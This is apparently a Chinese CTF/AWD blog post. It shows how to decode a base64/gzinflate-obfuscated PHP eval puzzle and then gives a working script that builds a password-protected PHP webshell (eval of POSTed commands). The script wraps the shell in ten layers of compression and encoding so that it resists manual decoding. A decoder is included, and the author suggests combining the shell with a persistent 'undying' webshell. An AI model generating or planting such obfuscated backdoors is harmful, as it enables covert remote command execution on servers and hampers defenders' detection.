刷nctf偶然刷到一道题,感觉还挺有意思的。
    题目如下:

    1. <?php
    2. function CLsI($ZzvSWE) {
    3. $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    4. for ($i = 0; $i < strlen($ZzvSWE); $i++) {
    5. $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    6. }
    7. return $ZzvSWE;
    8. }
    9. eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
    10. ?>

    题解很简单,直接把eval改为echo即可。

    有意思的是PHP一句话加解密方式,使用base64和gzinflate。gzinflate是PHP解压缩函数,与压缩函数gzdeflate对应,具有相同功能的函数还有: gzcompress/gzuncompress, gzencode/gzdecode,注意,gzencode函数要求PHP版本>5.4,需要注意兼容性问题。

    如果在平常遇到这种一句话木马, 要解密并不困难,无论是网上找脚本还是直接在线解密都可以,但是如果放在没有网络的AWD对抗上的话,尤其是没有做好流量日志记录的对手,要解密就要花一番功夫了。

    1. <?php eval(gzinflate(base64_decode("DdNFjuNYAADQq7R6VaW/")));?>

    这里写了一个加密脚本,可以更改加密轮数,这里是10次(轮数设置较大以防止手工解密)。

    1. <?php
    2. // 一句话加密
    3. function one_word_encode($pass)
    4. {
    5. $code='?><?php if(md5($_POST[pass])=="'.md5($pass).'") {eval($_POST[cmd]);}?>';
    6. for($i=1;$i<10;$i++)
    7. {
    8. $code='?><?php eval(gzinflate(base64_decode("'.base64_encode(gzdeflate($code)).'")));?>';
    9. }
    10. return base64_encode(gzdeflate($code));
    11. }
    12. echo one_word_encode("hello");
    13. ?>

    再配合对pass进行md5加密,进一步提升破解难度(当然在有网络的情况下另当别论)。

    解密脚本如下,当然也可以访问 https://decode.cnxct.com/ 进行在线解密。

    1. <?php
    2. // 解密: https://decode.cnxct.com/
    3. function one_word_decode($code)
    4. {
    5. $code=gzinflate(base64_decode($code));
    6. while(strpos($code,"POST")==false)
    7. {
    8. // 截取base64字符串继续解密
    9. preg_match('/\"\S+\"/',$code,$code);
    10. $code=substr($code[0],1,strlen($code[0])-2);
    11. $code=gzinflate(base64_decode($code));
    12. }
    13. echo htmlentities($code);
    14. }
    15. one_word_decode(base64_str);
    16. ?>

    配合不死马使用恶心人效果更佳。

    eval函数中的语句一定要加分号,注意$转义 _GET,_POST的参数有没有单引号双引号都可以 蚁剑貌似不支持GET一句话 eval函数可以暂且理解为在语句前后加<?php和?>,实际情况比这复杂的多

    Reference articles:

    http://byd.dropsec.xyz/2017/06/05/渗透测试小技巧之过waf木马/utm_source=tuicool&utm_medium=referral https://www.cnxct.com/eval、gzinflate、-base64_decode三函数加密的代码在线解密/ https://my.oschina.net/programs/blog/1649544